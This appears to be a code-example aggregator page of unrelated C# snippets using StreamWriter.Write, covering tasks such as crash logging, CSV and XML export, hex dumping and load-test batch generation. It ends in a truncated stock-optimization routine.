Write() public méthode

public Write ( char value ) : void
value char
Résultat void
    public void CreateLog(Exception ex)
    {
      try
      {
        using (TextWriter writer = new StreamWriter(_filename, false))
        {
          writer.WriteLine("Crash Log: {0}", _crashTime);

          writer.WriteLine("= System Information");
          writer.Write(SystemInfo());
          writer.WriteLine();

          writer.WriteLine("= Disk Information");
          writer.Write(DriveInfo());
          writer.WriteLine();

          writer.WriteLine("= Exception Information");
          writer.Write(ExceptionInfo(ex));
					writer.WriteLine();
					writer.WriteLine();

					writer.WriteLine("= MediaPortal Information");
					writer.WriteLine();
        	IList<string> statusList = ServiceRegistration.Instance.GetStatus();
        	foreach (string status in statusList)
        		writer.WriteLine(status);
        }
      }
      catch (Exception e)
      {
        Console.WriteLine("UiCrashLogger crashed:");
        Console.WriteLine(e.ToString());
      }
    }
        private void SaveLastCode()
        {
            string filename = Path.Combine(localPath, "TestApp.os");
            using (var writer = new StreamWriter(filename, false, Encoding.UTF8))
            {
                // первой строкой запишем имя открытого файла
                writer.Write("//");  // знаки комментария, чтобы сохранить код правильным
                writer.WriteLine(_currentDocPath);
                // второй строкой - признак изменённости
                writer.Write("//");
                writer.WriteLine(_isModified);

                args.Text = args.Text.TrimEnd('\r', '\n');

                // запишем аргументы командной строки
                writer.Write("//");
                writer.WriteLine(args.LineCount);

                for (var i = 0; i < args.LineCount; ++i )
                {
                    string s = args.GetLineText(i).TrimEnd('\r', '\n');
                    writer.Write("//");
                    writer.WriteLine(s);
                }

                // и потом сам код
                writer.Write(txtCode.Text);
            }
        }
        public static void Run()
        {
            using (FastScanner fs = new FastScanner(new BufferedStream(Console.OpenStandardInput())))
            using (StreamWriter writer = new StreamWriter(new BufferedStream(Console.OpenStandardOutput())))
            {
                int n = fs.NextInt(), k = fs.NextInt();
                int a = fs.NextInt(), b = fs.NextInt(), c = fs.NextInt(), d = fs.NextInt();
                if (n == 4 || k <= n) writer.WriteLine(-1);
                else
                {
                    writer.Write(a + " " + c + " ");
                    for (int i = 1; i <= n; i++)
                    {
                        if (i != a && i != b && i != c && i != d) writer.Write(i + " ");
                    }
                    writer.WriteLine(d + " " + b);

                    writer.Write(c + " " + a + " ");
                    for (int i = 1; i <= n; i++)
                    {
                        if (i != a && i != b && i != c && i != d) writer.Write(i + " ");
                    }
                    writer.Write(b + " " + d);
                }
            }
        }
Exemple #4
0
 //Write the power output file
 //Output is 100 numbers separated by tabs, representing the power at 1% threshold, 2%, 3%... 100%
 public static void powerOutput(string filenameStub,int m, int startRep, int endRep)
 {
     int[] ranks = new int[endRep - startRep + 1];
     double[] power = new double[100];
     int attributes = 1000;
     for (int rep = startRep; rep <= endRep; rep++)
     {
         string filename = filenameStub + rep + ".txt";
         List<ReliefUtils.SNP> SNPs = FileUtilities.Utils.ReadReliefOutput(filename);
         attributes = SNPs.Count;
         //Sort SNPs by descending score
         SNPs.Sort(delegate(ReliefUtils.SNP S1, ReliefUtils.SNP S2) { return S2.W.CompareTo(S1.W); });
         //Find the lower ranked of the 2 informative SNPs (0 and 1)
         int rank0 = SNPs.FindIndex(delegate(ReliefUtils.SNP s) { return s.ID == 0; });
         int rank1 = SNPs.FindIndex(delegate(ReliefUtils.SNP s) { return s.ID == 1; });
         ranks[rep-startRep] = Math.Max(rank0, rank1);
     }
     string powerFilename = filenameStub + startRep + "to" + endRep + ".power.txt";
     StreamWriter powerOutput = new StreamWriter(powerFilename);
     //Find the power by percentiles (% of reps with both SNPs above threshold)
     for (int percentile = 1; percentile <= 100; percentile++)
     {
         int passed = 0;
         for (int rep = 0; rep <= endRep - startRep; rep++)
         {
             if (ranks[rep] <= (attributes * percentile / 100.0))
                 passed++;
         }
         power[percentile - 1] = passed / (endRep - startRep + 1.0);
         Console.WriteLine("Power at " + percentile + "%: " + power[percentile - 1]);
         powerOutput.Write(power[percentile - 1]);
         if (percentile != 100) powerOutput.Write("\t");
     }
     powerOutput.Close();
 }
        // Extract and store features
        public static void extractFeatures(string folderPath, int M, string output = "articles.feat")
        {
            DocCollection collection = new DocCollection();

            // Collect all files
            foreach (string filepath in Directory.GetFiles(folderPath, "*.txt"))
            {
                string content = File.ReadAllText(filepath);
                collection.collect(content);
            }

            List<DocVector> docVect = collectionProcessing(collection, 20);

            // Store features
            using (StreamWriter writer = new StreamWriter(output, false))
            {
                writer.WriteLine(Directory.GetFiles(folderPath, "*.txt").Count()); // Number of files
                writer.WriteLine(M); // Number of keywords

                // Store bag of words
                for (int i = 0; i < M; ++i)
                    writer.Write(keywords[i] + " ");
                writer.WriteLine();

                // Store feature for each document
                foreach (DocVector vector in docVect)
                {
                    for (int i = 0; i < M; ++i)
                        writer.Write(vector.Tf_idf[i] + " ");
                    writer.WriteLine();
                }
            }
        }
        public void AppendResultsToFile(String Name, double TotalTime)
        {
            FileStream file;
            file = new FileStream(Name, FileMode.Append, FileAccess.Write);
            StreamWriter sw = new StreamWriter(file);

            sw.Write("***************************************\n");

            sw.Write("Total  | No Subs| %Total |%No Subs| Name\n");

            foreach (CNamedTimer NamedTimer in m_NamedTimerArray)
            {
                if (NamedTimer.GetTotalSeconds() > 0)
                {
                    String OutString;

                    OutString = String.Format("{0:0.0000}", NamedTimer.GetTotalSeconds())
                        + " | " + String.Format("{0:0.0000}", NamedTimer.GetTotalSecondsExcludingSubroutines())
                        + " | " + String.Format("{0:00.00}", System.Math.Min(99.99, NamedTimer.GetTotalSeconds() / TotalTime * 100)) + "%"
                        + " | " + String.Format("{0:00.00}", NamedTimer.GetTotalSecondsExcludingSubroutines() / TotalTime * 100) + "%"
                        + " | "
                        + NamedTimer.m_Name;

                    OutString += " (" + NamedTimer.m_Counter.ToString() + ")\n";
                    sw.Write(OutString);
                }
            }

            sw.Write("\n\n");

            sw.Close();
            file.Close();
        }
Exemple #7
0
        public static void Preprocess(Stream input, Stream output, IDictionary<string, string> parameters)
        {
            string text;
            using (var streamReader = new StreamReader(input))
            {
                text = streamReader.ReadToEnd();
            }
            var tokenizer = new PPFileTokenizer(text);
            using (var streamWriter = new StreamWriter(output))
            {
                while (true)
                {
                    var token = tokenizer.Read();
                    if (token == null)
                    {
                        break;
                    }

                    if (token.Category == PPFileTokenizer.TokenCategory.Variable)
                    {
                        var replaced = ReplaceToken(token.Value, parameters);
                        streamWriter.Write(replaced);
                    }
                    else
                    {
                        streamWriter.Write(token.Value);
                    }
                }
            }
        }
        private BufferSlice EncodeMessage(Message msg)
        {
            if (msg.Body.Length != 0)
                msg.Headers["Content-Length"] = msg.Body.Length.ToString();

            var buffer = new byte[65535];
            long length = 0;
            using (var stream = new MemoryStream(buffer))
            {
                stream.SetLength(0);
                using (var writer = new StreamWriter(stream))
                {
                    foreach (string key in msg.Headers)
                    {
                        writer.Write(string.Format("{0}: {1}\n", key, msg.Headers[key]));
                    }
                    writer.Write("\n");


                    writer.Flush();
                    stream.Write(stream.GetBuffer(), 0, (int) stream.Length);
                    length = stream.Length;
                }
            }

            var tmp = Encoding.ASCII.GetString(buffer, 0, (int) length);
            return new BufferSlice(buffer, 0, (int) length, (int) length);
        }
        private static void WritePoints(StreamWriter writer, IEnumerable<Point> points, int count)
        {
            int attributes = 0, index = 0;

            var first = points.FirstOrDefault();

            if (first.Attributes != null)
            {
                attributes = first.Attributes.Length;
            }

            writer.WriteLine("{0} {1} {2} {3}", count, 2, attributes, 1);

            foreach (var item in points)
            {
                // Vertex number, x and y coordinates.
                writer.Write("{0} {1} {2}", index, item.X.ToString(Util.Nfi), item.Y.ToString(Util.Nfi));

                // Write attributes.
                for (int j = 0; j < attributes; j++)
                {
                    writer.Write(" {0}", item.Attributes[j].ToString(Util.Nfi));
                }

                // Write the boundary marker.
                writer.WriteLine(" {0}", item.Boundary);

                index++;
            }
        }
Exemple #10
0
        private void Rescore(string icResultFilePath, string outputFilePath)
        {
            var parser = new TsvFileParser(icResultFilePath);
            var sequences = parser.GetData("Sequence");
            var scanNums = parser.GetData("ScanNum").Select(s => Convert.ToInt32(s)).ToArray();
            var charges = parser.GetData("Charge").Select(c => Convert.ToInt32(c)).ToArray();
            var compositions = parser.GetData("Composition").Select(Composition.Parse).ToArray();
            var modIndex = parser.GetHeaders().IndexOf("Modifications");

            var rows = parser.GetRows();
            var headers = parser.GetHeaders();

            using (var writer = new StreamWriter(outputFilePath))
            {
                writer.WriteLine("{0}\t{1}", string.Join("\t", headers), IcScores.GetScoreNames());
                for (var i = 0; i < parser.NumData; i++)
                {
                    var row = rows[i];
                    var seqStr = sequences[i];
                    var charge = charges[i];
                    var scanNum = scanNums[i];
                    var composition = compositions[i];

                    var scores = _topDownScorer.GetScores(AminoAcid.ProteinNTerm, seqStr, AminoAcid.ProteinCTerm, composition, charge, scanNum);

                    var token = row.Split('\t');
                    for (var j = 0; j < token.Length; j++)
                    {
                        if(j != modIndex) writer.Write(token[j]+"\t");
                        else writer.Write("["+scores.Modifications+"]"+"\t");
                    }
                    writer.WriteLine(scores);
                }
            }
        }
 public string Parse(Stream stream, Dictionary<string, string> settings)
 {
     var source = Extract(stream);
     using (var output = new MemoryStream())
     using (var writer = new StreamWriter(output))
     {
         writer.AutoFlush = true;
         stream.Position = Bom.GetCursor(stream);
         byte[] buffer = new byte[1];
         while (stream.Read(buffer, 0, 1) > 0)
         {
             if (source.Any(p => p.IsWithin(stream.Position)))
             {
                 foreach (var symbol in source.Where(p => p.Cursor == stream.Position))
                 {
                     if (!settings.ContainsKey(symbol.Key))
                     {
                         throw new KeyNotFoundException($"A setting has not been provided for key {symbol.Key} in the json file");
                     }
                     writer.Write(new[] {Convert.ToChar(buffer[0])});
                     stream.Position += symbol.Length;
                     writer.Write(settings[symbol.Key]);
                 }
             }
             else
             {
                 writer.Write(_encoding.GetChars(buffer));
             }
         }
         return _encoding.GetString(output.ToArray());
     }
 }
        private static Stream GetRequestBody(IDictionary<string, string> postData)
        {
            if (postData != null)
            {
                var ms = new MemoryStream();
                bool first = true;
                var writer = new StreamWriter(ms);
                writer.AutoFlush = true;
                foreach (var item in postData)
                {
                    if (!first)
                    {
                        writer.Write("&");
                    }
                    writer.Write(item.Key);
                    writer.Write("=");
                    writer.Write(Uri.EscapeDataString(item.Value));
                    writer.WriteLine();
                    first = false;
                }

                ms.Seek(0, SeekOrigin.Begin);
                return ms;
            }

            return Stream.Null;
        }
Exemple #13
0
        public void Compile(Generator generator, string outputFile)
        {
            // Generate compiletime environment
            var labels = _functionEnvironment.GetFunctionNames().ToDictionary(funName => funName, funName => Label.Fresh());
            var compilationEnvironment = new CompilationEnvironment(labels);

            // Compile expression
            _expression.Compile(compilationEnvironment, generator);
            generator.Emit(Instruction.PrintI);
            generator.Emit(Instruction.Stop);

            // Compile functions
            foreach (var functionDefinition in _functionEnvironment.GetFunctions())
            {
                compilationEnvironment = new CompilationEnvironment(labels);
                functionDefinition.Compile(compilationEnvironment, generator);
            }

            //  Generate bytecode at and print to file
            generator.PrintCode();
            var bytecode = generator.ToBytecode();
            using (TextWriter writer = new StreamWriter(outputFile))
            {
                foreach (var b in bytecode)
                {
                    writer.Write(b);
                    writer.Write(" ");
                }
            }
        }
Exemple #14
0
        /// <summary>
        /// Transmogrify original response and apply JSONP Padding
        /// </summary>
        /// <param name="context">Current Nancy Context</param>
        private static void PrepareJsonp(NancyContext context)
        {
            var isJson = Json.Json.IsJsonContentType(context.Response.ContentType);
            bool hasCallback = context.Request.Query["callback"].HasValue;

            if (!isJson || !hasCallback)
            {
                return;
            }

            // grab original contents for running later
            var original = context.Response.Contents;
            string callback = context.Request.Query["callback"].Value;

            // set content type to application/javascript so browsers can handle it by default
            // http://stackoverflow.com/questions/111302/best-content-type-to-serve-jsonp
            context.Response.ContentType = string.Concat("application/javascript", Encoding);

            context.Response.Contents = stream =>
            {
                // disposing of stream is handled elsewhere
                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };

                writer.Write("{0}(", callback);
                original(stream);
                writer.Write(");");
            };
        }
        public static void RunTests()
        {
            StreamWriter results = new StreamWriter(@"../../results.txt");
            bool testcaseResult;
            results.WriteLine("-------------- Custom Handler\n");
            for (var i = 0; i < Testcases.Length; i++)
            {
                var sw = Stopwatch.StartNew();
                testcaseResult = CustomHandler.CheckText(Testcases[i]);
                sw.Stop();
                results.Write("Testcase N{0}: {1}\n" +
                              "Solution runtime summary: {2} ticks ({3} ms)\n\n",
                              i + 1, testcaseResult, sw.ElapsedTicks, sw.ElapsedMilliseconds);
            }

            results.WriteLine("-------------- Regex Handler\n");
            for (var i = 0; i < Testcases.Length; i++) {
                var sw = Stopwatch.StartNew();
                testcaseResult = RegexHandler.CheckText(Testcases[i]);
                sw.Stop();
                results.Write("Testcase N{0}: {1}\n" +
                              "Solution runtime summary: {2} ticks ({3} ms)\n\n",
                              i + 1, testcaseResult, sw.ElapsedTicks, sw.ElapsedMilliseconds);
            }

            results.Close();
        }
        internal string PrepareControllerBatchFile(
            string scenarioFile,
            string outputFile,
            string host,
            int port,
            int clients,
            int duration)
        {
            string batchFile = scenarioFile + ".cmd";
            FileStream batchStream = File.OpenWrite(batchFile);
            using (StreamWriter writer = new StreamWriter(batchStream))
            {
                writer.WriteLine(@"call ""C:\Program Files (x86)\Far\ConEmu\Attach.cmd""");
                writer.Write('"');
                writer.Write(Path.Combine(_wcatPath, "wcctl.exe"));
                writer.Write("\" ");

                string args = string.Format("-t {0} -c {1} -s {2} -v {3} -u {4} -w {5} -p {6} -o {7}",
                                            scenarioFile,
                                            ClientsNumber,
                                            host,
                                            clients,
                                            duration,
                                            WarmupSeconds,
                                            port,
                                            outputFile);
                writer.Write(args);
            }

            return batchFile;
        }
Exemple #17
0
        public void ImprimirVenda(string local)
        {
            ClienteRN clienteDados = new ClienteRN();
            EnderecoRN enderecoDados = new EnderecoRN();
            BairroRN bairroDados = new BairroRN();
            string idauxiliar = pedidoDados.IdCorrente();
            Pedido obj = pedidoDados.Buscar(idauxiliar);
            FileStream arq = new FileStream(local + ".txt", FileMode.CreateNew, FileAccess.Write);
            StreamWriter grava = new StreamWriter(arq, Encoding.Unicode);

            CamadaBanco.Cliente novo = clienteDados.Buscar(obj.IdCliente.ToString());
            CamadaBanco.Endereco novoEndereco = enderecoDados.Buscar(obj.IdCliente.ToString());
            CamadaBanco.Entidades.Bairro novoBairro = bairroDados.Buscar(novoEndereco.IdBairro.ToString());
            string tipoPedido = string.Empty;
            if(obj.TipoPedido == 0)
            {
                tipoPedido = "A Vista";
            }
            else if(obj.TipoPedido == 1)
            {
                tipoPedido = "Debito";
            }
            grava.WriteLine("Cód Pedido: {0}\tData Venda: {1}",obj.IdPedido,obj.DataPedido.ToShortDateString());
            grava.WriteLine("Cód. Cliente: {0}\tNome Cliente: {1}",novo.IdCliente,novo.Nome);
            grava.WriteLine("Endereco: {0}\tNumero: {1}",novoEndereco.Rua,novoEndereco.Numero);
            grava.WriteLine("Bairro: {0}",novoBairro.Nome);
            grava.Write("Valor: R$ ");
            grava.Write(obj.ValorTotal.ToString("0.00", CultureInfo.InvariantCulture));
            grava.Write("\tTipo Venda: {0}", tipoPedido);

            grava.Close();
            arq.Close();
        }
Exemple #18
0
        protected override Task SerializeToStreamAsync(Stream stream, TransportContext context)
        {
            if (HasNoData())
                return new CompletedTask<bool>(true);

            using ( var undisposableStream = new UndisposableStream(stream) )
            using ( var bufferedStream = new BufferedStream(undisposableStream))
            {
                var writer = new StreamWriter(bufferedStream, DefaultEncoding);
                if (string.IsNullOrEmpty(Jsonp) == false)
                {
                    writer.Write(Jsonp);
                    writer.Write("(");
                }

                Data.WriteTo(new JsonTextWriter(writer)
                {
                    Formatting = IsOutputHumanReadable ? Formatting.Indented : Formatting.None,
                }, Default.Converters);

                if (string.IsNullOrEmpty(Jsonp) == false)
                    writer.Write(")");

                writer.Flush();
            }

            return new CompletedTask<bool>(true);
        }
Exemple #19
0
        private static void ProcessLine( string line, StreamReader reader, StreamWriter writer, int[] columnLengths )
        {
            int charNo = 0;
            for (int i = 0; i < columnLengths.Length; i++)
            {
                string str = string.Empty;
                bool success = false;
                while (!success)
                {
                    try
                    {
                        str = line.Substring(charNo, Math.Min(columnLengths[i], line.Length - charNo)).Trim();
                        success = true;
                    }
                    catch
                    {
                        line = line + reader.ReadLine();
                    }
                }

                str = str.Replace("\"", "\"\"");
                str = '"' + str + '"';
                writer.Write(str);
                if (i < columnLengths.Length - 1)
                    writer.Write(",");
                charNo += columnLengths[i] + 1;
            }
            writer.WriteLine();
        }
Exemple #20
0
 internal void Write(StreamWriter sw, string nodeName)
 {
     sw.Write(string.Format("<c:{0}", nodeName));
     XmlHelper.WriteAttribute(sw, "val", this.val.ToString());
     sw.Write(">");
     sw.Write(string.Format("</c:{0}>", nodeName));
 }
        public static void Save(IReadOnlyList<Contribution> contributions)
        {
            Guard.AgainstNullArgument(nameof(contributions), contributions);

            using (var writer = new StreamWriter("contributions.txt", false))
            {
                writer.Write("Login/Group");
                foreach (var group in contributions.Select(contribution => contribution.Group).Distinct())
                {
                    writer.Write("\t" + @group);
                }

                writer.WriteLine();

                foreach (var login in contributions.Select(contribution => contribution.Login).Distinct())
                {
                    writer.Write(login);
                    foreach (var group in contributions.Select(contribution => contribution.Group).Distinct())
                    {
                        var contribution =
                            contributions.SingleOrDefault(
                                candidate => candidate.Group == @group && candidate.Login == login);

                        writer.Write(
                            "\t" +
                            (contribution?.Score.ToString(CultureInfo.InvariantCulture) ?? "0"));
                    }

                    writer.WriteLine();
                }
            }
        }
Exemple #22
0
 /// <summary>
 /// 按天统计对话长度及女方发送消息数量并输出至给定路径的文件
 /// 文件格式:日期\t当天对话数量\t当天平均对话长度\t女方平均发送消息数量
 /// </summary>
 /// <param name="filePath">输出文件路径</param>
 static void AverageDialogueLengthPerDay(string filePath)
 {
     StreamWriter fWriter = new StreamWriter(filePath);
     foreach (var dialoguesOneDay in chatDialogues)
     {
         fWriter.Write(dialoguesOneDay.Key.ToShortDateString() + "\t");
         int wordsCount = 0;
         int user2WordsCount = 0;
         foreach (var dialogue in dialoguesOneDay.Value)
         {
             wordsCount += dialogue.chatWords.Count;
             foreach (var word in dialogue.chatWords)
             {
                 if (word.user.Equals(User2))
                 {
                     user2WordsCount++;
                 }
             }
         }
         double averageDialogueLength = (double)wordsCount / dialoguesOneDay.Value.Count;
         double averageUser2DialogueLength = (double)user2WordsCount / dialoguesOneDay.Value.Count;
         fWriter.Write(dialoguesOneDay.Value.Count + "\t" + averageDialogueLength + "\t" + averageUser2DialogueLength + "\r\n");
     }
     fWriter.Close();
 }
Exemple #23
0
 internal void Write(StreamWriter sw, string nodeName)
 {
     sw.Write(string.Format("<{0}", nodeName));
     XmlHelper.WriteAttribute(sw, "r:id", this.id);
     sw.Write(">");
     sw.Write(string.Format("</{0}>", nodeName));
 }
Exemple #24
0
        static void Main()
        {
            StreamReader reader = new StreamReader("../../person.txt");
            StreamWriter writer = new StreamWriter("person.xml");
            List<string> values = new List<string>();
            List<string> tags = new List<string>() { "name", "address", "phone" };

            using (reader)
            {
                while (!reader.EndOfStream)
                {
                    var currValue = reader.ReadLine();
                    values.Add(currValue);
                }
            }

            using (writer)
            {
                writer.Write("<?xml version=\"1.0\"?>");
                writer.Write("<person>");
                for (int i = 0; i < values.Count; i++)
                {
                    writer.Write(string.Format("<{0}>{1}</{0}>", tags[i], values[i]));
                }
                writer.Write("</person>");
            }
        }
        protected void Archive_Summary_Click(object sender, EventArgs e)
        {
            String strDestinationFile;
            strDestinationFile = "C:\\output.txt";
            TextWriter tw = new StreamWriter(strDestinationFile);
            //tw.WriteLine("Hello");

            for (int x = 0; x < ProductsGrid.Rows.Count; x++)
            {
                for (int y = 0; y < ProductsGrid.Rows[0].Cells.Count; y++)
                {
                    tw.Write(ProductsGrid.Rows[x].Cells[y].Text);
                    if (y == 0)
                    {
                        Response.Write(ProductsGrid.Rows[0].Cells[0].Text);
                    }
                        if (y != ProductsGrid.Rows[0].Cells.Count - 1)
                    {
                        tw.Write(", ");
                    }
                }
                tw.WriteLine();
            }
            tw.Close();
        }
Exemple #26
0
 static void Main(string[] args)
 {
     string fileName = args[0];
     XmlDocument doc = new XmlDocument();
     string outputFile = Path.ChangeExtension(fileName, ".txt");
     TextWriter writer = new StreamWriter(outputFile);
     writer.WriteLine("Error\tReads\tRowCounts\tQuery\tDuration\tWrites\t");
     doc.Load(fileName);
     foreach(XmlNode node in doc.GetElementsByTagName("Event"))
     {
         if (node.Attributes["name"] == null || node.Attributes["name"].Value != "SQL:BatchCompleted")
             continue;
         foreach (XmlNode child in node.ChildNodes)
         {
             if (child.Name != "Column")
                 continue;
             switch (child.Attributes["name"].Value)
             {
                 case "Duration":
                 case "Reads":
                 case "RowCounts":
                 case "Error":
                 case "TextData":
                 case "Writes":
                     writer.Write(child.InnerText);
                     writer.Write('\t');
                     break;
             }
         }
         writer.WriteLine();
     }
     writer.Close();
 }
Exemple #27
0
        /// <summary>
        /// Export the data from datatable to CSV file
        /// </summary>
        /// <param name="grid"></param>
        public static void ExportDataGridToCSV(DataGridView dgv)
        {
            string path = "";

            //File info initialization
            path = path + DateTime.Now.ToString("yyyyMMddhhmmss");
            path = path + ".csv";

            System.IO.FileStream fs = new FileStream(path, System.IO.FileMode.Create, System.IO.FileAccess.Write);
            StreamWriter sw = new StreamWriter(fs, new System.Text.UnicodeEncoding());
            //Tabel header
            for (int i = 0; i < dgv.Columns.Count; i++)
            {
                sw.Write(dgv.Columns[i].HeaderText);
                sw.Write("\t");
            }
            sw.WriteLine("");
            //Table body

            for (int i = 0; i < dgv.Rows.Count; i++)
            {
                for (int j = 0; j < dgv.Rows[i].Cells.Count; j++)
                {
                    sw.Write(DelQuota(dgv[j,i].Value.ToString()));
                    sw.Write("\t");
                }
                sw.WriteLine("");
            }
            sw.Flush();
            sw.Close();
        }
Exemple #28
0
 static void Main(string[] args)
 {
     using (StreamReader reader = new StreamReader(@"c:\files\inputFile.txt"))
     using (StreamWriter writer = new StreamWriter(@"c:\files\outputFile.txt", false))
     {
         int position = 0;
         while (!reader.EndOfStream)
         {
             char[] buffer = new char[16];
             int charactersRead = reader.ReadBlock(buffer, 0, 16);
             writer.Write("{0}: ", String.Format("{0:x4}", position));
             position += charactersRead;
             for (int i = 0; i < 16; i++)
             {
                 if (i < charactersRead)
                 {
                     string hex = String.Format("{0:x2}", (byte)buffer[i]);
                     writer.Write(hex + " ");
                 }
                 else
                     writer.Write("   ");
                 if (i == 7) { writer.Write("-- "); }
                 if (buffer[i] < 32 || buffer[i] > 250) { buffer[i] = '.'; }
             }
             string bufferContents = new string(buffer);
             writer.WriteLine("   " + bufferContents.Substring(0, charactersRead));
         }
     }
 }
Exemple #29
0
        //历史记录加入
        public void AddDetail(string path, string detail)
        {
            //如果文件不存在则新建

            FileStream File = new FileStream(path, FileMode.OpenOrCreate);
            //如果是新建的文件。。。则写入meta属性
            if (File.Length == 0)
            {

                StreamWriter sw1 = new StreamWriter(File);

                sw1.Write("<html><head><meta http-equiv=content-type content=\"text/html; charset=UTF-8\"></head><body>");

                sw1.Close();
            }

            File.Close();

            FileStream append = new FileStream(path, FileMode.Append);

            StreamWriter sw = new StreamWriter(append);

            sw.Write(detail);
            //写入换行符
            sw.Write("<br />");

            sw.Close();
        }
        private void button1_Click(object sender, EventArgs e)
        {
            //获得串口参数配置文件的路径
            string CfgFilePath = Application.StartupPath + "\\ConfigFile\\SerialPortCfg";

            //创建写文件流
            StreamWriter sw = new StreamWriter(CfgFilePath, false);

            //将串口参数写入文件
            sw.Write(comboBox1.SelectedItem + "\r\n");
            sw.Write(comboBox2.SelectedItem + "\r\n");
            sw.Write(comboBox3.SelectedItem + "\r\n");
            sw.Write(comboBox4.SelectedItem + "\r\n");
            sw.Write(comboBox5.SelectedItem + "\r\n");

            //关闭流
            sw.Close();

            //创建读文件流
            StreamReader sr = new StreamReader(CfgFilePath);

            //显示串口参数
            label6.Text = sr.ReadLine();
            label7.Text = sr.ReadLine();
            label8.Text = sr.ReadLine();
            label9.Text = sr.ReadLine();
            label10.Text = sr.ReadLine();

            //关闭流
            sr.Close();
            MessageBox.Show(this, "设置成功。   ", "消息",
                MessageBoxButtons.OK, MessageBoxIcon.Information);

            this.Close();   //关串口参数设置窗体
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            #region Initialization
            // Initialization -------------------------------------------------------------
            // Boolean
            bool excSkip = false;
            // Integers

            // Double

            // Dictionaries
            Dictionary <int, string> NYSEname    = new Dictionary <int, string>();
            Dictionary <int, string> NYSEsymbol  = new Dictionary <int, string>();
            Dictionary <int, string> NYSEcountry = new Dictionary <int, string>();

            Dictionary <int, string> dateFwd     = new Dictionary <int, string>();
            Dictionary <int, double> openFwd     = new Dictionary <int, double>();
            Dictionary <int, double> highFwd     = new Dictionary <int, double>();
            Dictionary <int, double> lowFwd      = new Dictionary <int, double>();
            Dictionary <int, double> closeFwd    = new Dictionary <int, double>();
            Dictionary <int, double> volumeFwd   = new Dictionary <int, double>();
            Dictionary <int, double> adjCloseFwd = new Dictionary <int, double>();

            Dictionary <int, string> date     = new Dictionary <int, string>();
            Dictionary <int, double> open     = new Dictionary <int, double>();
            Dictionary <int, double> high     = new Dictionary <int, double>();
            Dictionary <int, double> low      = new Dictionary <int, double>();
            Dictionary <int, double> close    = new Dictionary <int, double>();
            Dictionary <int, double> volume   = new Dictionary <int, double>();
            Dictionary <int, double> adjClose = new Dictionary <int, double>();

            //
            Dictionary <int, double> shortSMA = new Dictionary <int, double>();
            Dictionary <int, double> longSMA  = new Dictionary <int, double>();

            Dictionary <int, string> optSymbolName = new Dictionary <int, string>();
            Dictionary <int, double> optShortDay   = new Dictionary <int, double>();
            Dictionary <int, double> optLongDay    = new Dictionary <int, double>();
            Dictionary <int, double> optPctRtrn    = new Dictionary <int, double>();

            #endregion Initialization

            // List of all companies on NYSE
            #region Read data from List of all companies on NYSE
            string read_NYSElist = "\\USA NYSE Listing.csv";
            read_NYSElist = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + read_NYSElist;
            using (TextReader infile = File.OpenText(read_NYSElist))
            {
                string line;
                int    lineCtr = -1;
                while ((line = infile.ReadLine()) != null)
                {
                    lineCtr = lineCtr + 1;
                    if (lineCtr > 0)  // Ignore first line header
                    {
                        string[] parts = line.Split(',');
                        NYSEname.Add(NYSEname.Count, parts[0]);
                        NYSEsymbol.Add(NYSEsymbol.Count, parts[1]);
                        NYSEcountry.Add(NYSEcountry.Count, parts[2]);
                    }
                }
            }
            #endregion Read data from List of all companies on NYSE

            // loop through all files from NYSE and use for optimization
            for (int iNYSE = 0; iNYSE < NYSEsymbol.Count; iNYSE++)
            {
                // Clear dictionaries for each new ticker symbol
                dateFwd.Clear();
                openFwd.Clear();
                highFwd.Clear();
                lowFwd.Clear();
                closeFwd.Clear();
                volumeFwd.Clear();
                adjCloseFwd.Clear();
                date.Clear();
                open.Clear();
                high.Clear();
                low.Clear();
                close.Clear();
                volume.Clear();
                adjClose.Clear();
                //optSymbolName.Clear();
                optShortDay.Clear();
                optLongDay.Clear();
                optPctRtrn.Clear();

                #region Read data from file
                excSkip = false;
                try
                {
                    string read_file_name = "\\" + NYSEsymbol[iNYSE] + "testOut1_post1.csv";
                    read_file_name = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + read_file_name;
                    using (TextReader infile = File.OpenText(read_file_name))
                    {
                        string line;
                        int    lineCtr = -19;
                        while ((line = infile.ReadLine()) != null)
                        {
                            lineCtr = lineCtr + 1;
                            if (lineCtr > 0)  // Ignore first line header
                            {
                                string[] parts = line.Split(',');
                                dateFwd.Add(dateFwd.Count, parts[0]);
                                openFwd.Add(openFwd.Count, Convert.ToDouble(parts[1]));
                                highFwd.Add(highFwd.Count, Convert.ToDouble(parts[2]));
                                lowFwd.Add(lowFwd.Count, Convert.ToDouble(parts[3]));
                                closeFwd.Add(closeFwd.Count, Convert.ToDouble(parts[4]));
                                volumeFwd.Add(volumeFwd.Count, Convert.ToDouble(parts[5]));
                                adjCloseFwd.Add(adjCloseFwd.Count, Convert.ToDouble(parts[6]));
                            }
                        }
                    }
                    read_file_name = "\\" + NYSEsymbol[iNYSE] + "_MaxOptimize_Out1.csv";
                    read_file_name = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + read_file_name;
                    using (TextReader infile = File.OpenText(read_file_name))
                    {
                        string line;
                        int    lineCtr = -1;
                        while ((line = infile.ReadLine()) != null)
                        {
                            lineCtr = lineCtr + 1;
                            if (lineCtr > -1)  // Ignore first line header
                            {
                                string[] parts = line.Split(',');
                                //optSymbolName.Add(optSymbolName.Count, parts[0]);
                                optShortDay.Add(optShortDay.Count, Convert.ToDouble(parts[1]));
                                optLongDay.Add(optLongDay.Count, Convert.ToDouble(parts[2]));
                                optPctRtrn.Add(optPctRtrn.Count, Convert.ToDouble(parts[3]));
                            }
                        }
                    }
                }
                catch (Exception)
                {
                    excSkip = true;
                }
                #endregion Read data from file

                if (excSkip == false)
                {
                    #region Read data from end to beginning
                    // this is how I always do it
                    for (int i = dateFwd.Count - 1; --i >= 0;)
                    {
                        // write date in reverse
                        date.Add(date.Count, dateFwd[i]);
                        open.Add(open.Count, openFwd[i]);
                        high.Add(high.Count, highFwd[i]);
                        low.Add(low.Count, lowFwd[i]);
                        close.Add(close.Count, closeFwd[i]);
                        volume.Add(volume.Count, volumeFwd[i]);
                        adjClose.Add(adjClose.Count, adjCloseFwd[i]);
                    }
                    #endregion Read data from end to beginning

                    #region Optimization
                    double pctRtrn     = 0;
                    double buyTmp      = 0;
                    bool   bought      = false;
                    bool   sold        = false;
                    string optiOutData = "";
                    // Optimization loop (loop through with new data to maximize the sell signal


                    for (int optDay = 0; optDay < optShortDay.Count; optDay++)
                    {
